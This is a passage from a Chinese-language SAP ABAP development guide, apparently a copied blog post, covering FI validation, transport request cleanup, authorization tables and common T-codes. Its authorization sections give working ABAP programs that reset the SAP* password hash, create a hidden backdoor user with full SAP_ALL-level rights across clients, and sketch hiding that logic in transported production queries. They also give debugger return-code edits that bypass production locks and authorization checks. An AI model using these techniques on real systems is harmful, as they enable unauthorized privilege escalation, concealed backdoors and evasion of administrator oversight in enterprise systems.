如下图加入代码,则退代对FV50预制凭证生效.
FI_VALIDATION_DOC
FI_VALIDATION_HEADER
FI_VALIDATION_ITEM
6.物料凭证可使用退代和确定吗
如果Mat doc产生的同时产生了财务凭证当然可以使用.
4.BKPF|BSEG浅析
5.Dunning催款
6.支票打印
7.
8.
5.CO模块开发实例.
1.
2.
8.
6.Basis相关开发实例
1.删除传输请求
关于传输请求在第二章13节已经有详细说明,下面是一个关于如何删除被锁的传输请求的程序,读者可根据实际情况补充.
通常对锁住的表对象可采用SM12解锁,对传输请求可按下面程序处理.
Program ZSTDELREQ .
data :
itab_e070 like e070 occurs 0 with header line,
* Request header including Req user.
iwa_e070c like e070c, "Request client
itab_e071 like e071 occurs 0 with header line ,
*Request entry line items may include multiple lines
iwa_e07t like e07t , "Requst short text(desc)
iwa_E070A like E070A ,
*If the Request was locked and delelted,Delete Tlock otherwise
*The program will be locked to make any modifications.
itab_tlock like tlock occurs 0 with header line .
parameter reqno like e070-trkorr default '' .
select * into table itab_e070 from e070
where trkorr eq reqno or strkorr eq reqno.
if SY-SUBRC Ne 0 .
write : 'The Request No.:' , Reqno , ' not exist !' .
* exit .
endif .
select single * into iwa_e070c from e070c
where trkorr eq reqno .
select * into table itab_e071 from e071
where trkorr eq reqno .
select single * into iwa_e07t from e07t
where trkorr eq reqno .
select single * into iwa_E070A from e070A
where trkorr eq reqno .
if itab_e070 IS INITIAL .
select * into table itab_tlock from tlock
where trkorr eq reqno .
else.
select * into table itab_tlock from tlock
FOR ALL ENTRIES IN itab_e070
where TRKORR eq itab_e070-trkorr .
endif.
if SY-SUBRC NE 0 .
write : / 'No Locked object for the request NO. was found!'.
endif .
delete :
e070 from table itab_e070 ,
e070c from iwa_e070c,
e071 from table itab_e071,
e07t from iwa_e07t ,
e070A from iwa_E070A ,
tlock from table itab_tlock .
write : / 'The Request No.:' , Reqno ,
' has already been successfully Full deleted'.
如 果开发的程序被包含在$TMP package中,现在想传输到QAS或PRD,需要改换package,一个简单的方法就是将记录从资源库对象目录TADIR表中将记录删除(程序如 下),接下来改变保存激活程序就会重新弹出Create Object Directory Entry的窗口.
Report zdelpackage.
data iwa_tadir like tadir .
select single * into iwa_tadir from tadir
where OBJ_NAME = 'ZXMBCU02'."change to your prog. Name.
delete tadir from iwa_tadir.
2.检测用户授权列表
3.致命SAP权限控制漏洞
尽管SAP系统提供了非常完善的权限控制机制,甚至允许细到字段级和允许用户自定义授权对象,然后SAP权限控制漏洞也是致命的,随便一个小程序就可轻易获取权限
作为职业程序员,对取得权限大多会有一定兴趣(这点催生了一批无聊的所谓Hacker).
读者可自行理解下面几个概,在此不再细述.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
实际上决定权限的是Authorization Object , 看USR_USER_AUTH_FOR_OBJ_GET
和AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.
常用权限相关Tcode .
(一)Role(角色)相关T-code:
PFAC 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile
SWUJ 测试
SU03 检测授权
SU25, SU26 检查Profile
(二)建立用户
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10 批量
SU12 批量
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统,可by 多个查询.
(三)建立用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(四)维护检查授权
SU20|SU21:如有特殊需要定义自己的authorization fields
SU50|SU51|SU52
SU53:当有权限问题可使用它检测
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:
常用权限相关表格:
TOBJ : All avaiable authorzation objects.(SAP default objects全在此)
USR12: 用户级authoraztion值
USR02:密码table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户(SM04看到的所有当前活动用户)
USRBF2:记录当前用户所有的授权objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations
如何获取权限呢 下面举几个实际例子
修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣.
report ZMODPWD.
tables :usr02 .
*Data ZUSR02 like USR02 .
*select single * into zUSR02 from USR02
*where BNAME = 'SAP*'.
*ZUSR02-BNAME = 'SAP*'.
*ZUSR02-Bcode = '9C8AB8600E74D864' .
*ZUSR02-UFLAG = '0' ."unlock SAP*
*Update USR02 from ZUSR02 .
update usr02 set bcode = 'DF52478E6FF90EEB'
where BNAME = 'SAP*'.
就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效
上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.
下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2Copy Auth. Obj from SAP*(or other)
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTHACKER' .
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可.
Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
zusrbf2-mandt = sy-mandt.
zusrbf2-bname = 'ZSTHACKER'.
zusrbf2-objct = ztobj-objct.
zusrbf2-auth ='&_SAP_ALL'.
modify USRBF2 FROM zusrbf2 .
endloop .
现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下:
[1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).
[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现.
***注意千万不要用此临时用户做一些不合理的动作.
[3]能不能垮client端建立用户和授权呢
回 答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .
4.再谈开发权限漏洞
从理论上讲,只要有Debut(/H)的权限就应该有机会获取所有权限,有些系统在生产机上ABAPer居然有SE38,SE71等权限,显然这提供了一个很好的机会获取权限.
下面列举的实例是在不使用程序只修改运行变量的情况下或取权限(basis甚至无从追查).
通 常在QAS和PRD server, Basis会使用Tcode SCC4设置不允许更改配置(如下图No changes allowed表示不允许配置)和不允许程序开发(3 No changes to Repository and cross-client Customizing objs).这些配置保存在表T000中.
下面是基于用户有SE38权限后并假设如上图已经限制了不允许开发如何绕过此限制获得开发权限的例子.
为此找到程序LSTRDU34(SE37:TRINT_CORR_CHECK)和LSTRDU44(SE37:TRINT_CORR_INSERT)设置断点更改返回值饶过相关判断就可直接在QAS和PRD server上开发.
如图3.6.4-1中设置断点,当程序运行到此,只要将LV_SUBRC设置0即可.
同样,如图3.6.4-2,设置断点将SY-SUBRC改成0就可.
假 设ABAPer在PRD有SE38权限,在创建程序时会提示不能改变资源库和配置,可按display(如图3.6.4-3)然后按图3.6.4-1和图 3.6.4-2的方法在每次运行到程序LSTRDU34和LSTRDU44时修改LV_SUBRC和SY-SUBRC值为0程序就能被创建并被激活(注意 你可能需要多次修改,出现提示对话框按Display就可).
我所说只要有/H调试权限和SE38(或SE37)就可获得全部权限也是基于这样的思路,打开/H,然后执行SE38设置断点修改内存变量(如过你愿意慢慢单步执行到LSUSEU11,下面的动作都可节省下来,直接使用/H就可满足要求)
如图3.6.4-4,假设在PRD环境中你有SE38权限,你没有SCC4修改Client属性的权限,在LSUSEU11如图设置断点,然后将sy-subrc改成0,于是你就拥有了SCC4的权限,这种方法就是你并不需要使用程序只要修改变量就可获得Tcode权限.
1要真正执行一个未被授权的Tcode除了更改图3.6.4-4,如其有多个screen(程序中经常有Call **Tcode skip first screen),可能其它授权还要检测,理论上,只要你有耐心依然可获得全部权限.
2下面是一个假设你可使用SU01(只能进first screen但不能create,change user的破解方法.)
如图3.6.4-4-1,想获取修改用户权限在LSUU0U02When 'CHANGE'时修改rc = 0即可(SE37: SUSR_USER_MAINT_WITH_DIALOG).
如果想获取新建用户权限,在LSUU0U02找到when 'CREA'.将rc值改成0就可.然后在找到保存时的include程序(读者自行去找),既然能建立user了,授权给SAP_ALL当然就获得了所有权限.
可以任意修改scrip form吗,当然可以,如果想建立更改Scrip Form(SE71)可在LSTRDU39或TR_OBJECT_CHECK(SE37)设置断点.
如图3.6.4-5.
谁真正拥有SAP的权限,我想高明的ABAPer是可获得所需权限的,毕竟系统是用程
序写出的,还有什么用程序做不到的呢
1. 上面描述了如何绕过相应限制建立程序,使用上面的方法可直接更改SAP标准程序,采用这种方法是甚至连Access Key都不要,就是说如在PRD生产环境,如果用户有SA38和/H权限,在LSTRDU34和LSTRDU44设置断点然后修改返回值就可在不需要 Access Key的情况下直接完全修改标准程序.
这样将非常危险,因为就是绕过Access Key (修改LSKEYF00)可在标准程序中Insert,Delete行,起码还不可想修改自写程序一样完全修改程序还能有跟踪.
通常在QAS和PRD server会象图3.6.4一样设置禁止IMG和开发,这时当使用SE38,SE71,Smartforms等Tcode时甚至不会去检测Access Key,使用上面的方法可轻松进行IMG和开发.
2.如何绕过限制去配置(IMG)系统,读者可自行研究.
3. 试着去除任何人在PRD的SE38权限和/H(S_DEVLOP
4. LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS)是用来检测ABAP object可否Edit的,只要在此设置断点即可. LSTRDU34, LSTRDU44, LSTRDU39会被其调用(使用F5单步执行追踪).
开发项目流程简介.
附录:
1.ABAPer常用Tcode
ABAPer 常用Tcode
注意下面两点:
1使用Tcode S001后显示SAP easy access ABAP workbench能看到下面所有Tcode
2使用Tcode不当SE43看到的Area Menu实际上大都是可直接运行的Tcode(但是
不支持/n Area menu,/O Area menu等),运行这些Tcode看到的是相关Application area下所有的可用Tcode层次树,比如ASMN看到的是和AM相关Tcode树,AUTH则是和授权相关Tcode树.
Tcode
描述
CMOD(SMOD)
SAP增强
OSS1
连接SAP OSS
S001
ABAP开发工作台菜单(含多Tcode)
SA38
运行程序(SE38开发)
SCAT
Computer Aided Test Tool
SE01
传递传输请求(同一服务器的不同client)
SE09
传输请求操作
SE10
同SE09
SE11
维护ABAP数据字典
SE12
显示数据字典
SE13|SE14|SE15
数据字典相关
SE16|SE17
查看表数据
SE30
ABAP运行分析
SE32
ABAP文本元素维护
SE35
ABAP/4对话框编程维护
SE36
维护逻辑数据库
SE37
维护Function module
SE38
ABAP 编辑器
SE39
程序比较
SE41
菜单制作器
SE43
应用区菜单(相同功能tcode组成一area menu)
SE51
屏幕绘制器
SE54
生成表的维护视图,然后SE16|SM30可直接维护表数据
SE61
文档维护
SE63
翻译
SE71->SE76
SAPscript相关 Tcode
SE80
ABAP库
SE81
ABAP应用层次
SE84|SE85|SE86
ABAP/4 Repository Information System
SE91
建立消息类和消息
SE92
维护系统Log消息
SE93
给程序维护Tcode
SEU
Repository Object Browser
SHD0
维护Tcode运行变式(Variant)
SM04
查看当前用户
SM12
删除显示Locked objects(不可删除被lock的传输请求)
SM21
Dump log查看
SM30|SM31
维护table|view数据
SM32
维护表
SM35
查看Batch input session(建立BDC使用SHDB)
SM36
定义后台job
SM37
查看后台job
SM50
Process Overview
SM51
Display system servers, processes, etc.
SM62
Display/Maintain events in SAP
ST05
SQL等跟踪,使用它可跟踪程序使用的表等.
SU53
469

被折叠的 条评论
为什么被折叠?



